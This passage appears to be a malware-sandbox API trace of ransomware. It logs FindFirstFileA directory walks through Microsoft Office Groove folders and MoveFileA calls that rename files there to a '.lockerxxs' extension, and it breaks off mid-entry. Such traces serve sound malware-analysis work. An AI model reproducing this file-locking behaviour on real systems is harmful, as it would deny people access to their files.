lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.494] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.496] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.500] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.506] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.509] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.511] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.514] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.516] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.519] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.523] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.525] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.530] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm.lockerxxs")) returned 1 [0064.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg.lockerxxs")) returned 1 [0064.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html.lockerxxs")) returned 1 [0064.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html.lockerxxs")) returned 1 [0064.554] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg.lockerxxs")) returned 1 [0064.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg.lockerxxs")) returned 1 [0064.561] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName=".", cAlternateFileName="")) returned 0x502518 [0064.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg.lockerxxs")) returned 1 [0064.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html.lockerxxs")) returned 1 [0064.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html.lockerxxs")) returned 1 [0064.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html.lockerxxs")) returned 1 [0064.593] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html.lockerxxs")) returned 1 [0064.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html.lockerxxs")) returned 1 [0064.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html.lockerxxs")) returned 1 [0064.604] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html.lockerxxs")) returned 1 [0064.608] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html.lockerxxs")) returned 1 [0064.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html.lockerxxs")) returned 1 [0064.612] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502558 [0064.621] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.625] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.629] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.633] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.640] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.647] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.652] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.656] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.660] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.664] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.668] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.673] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.675] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned="C:\\Program 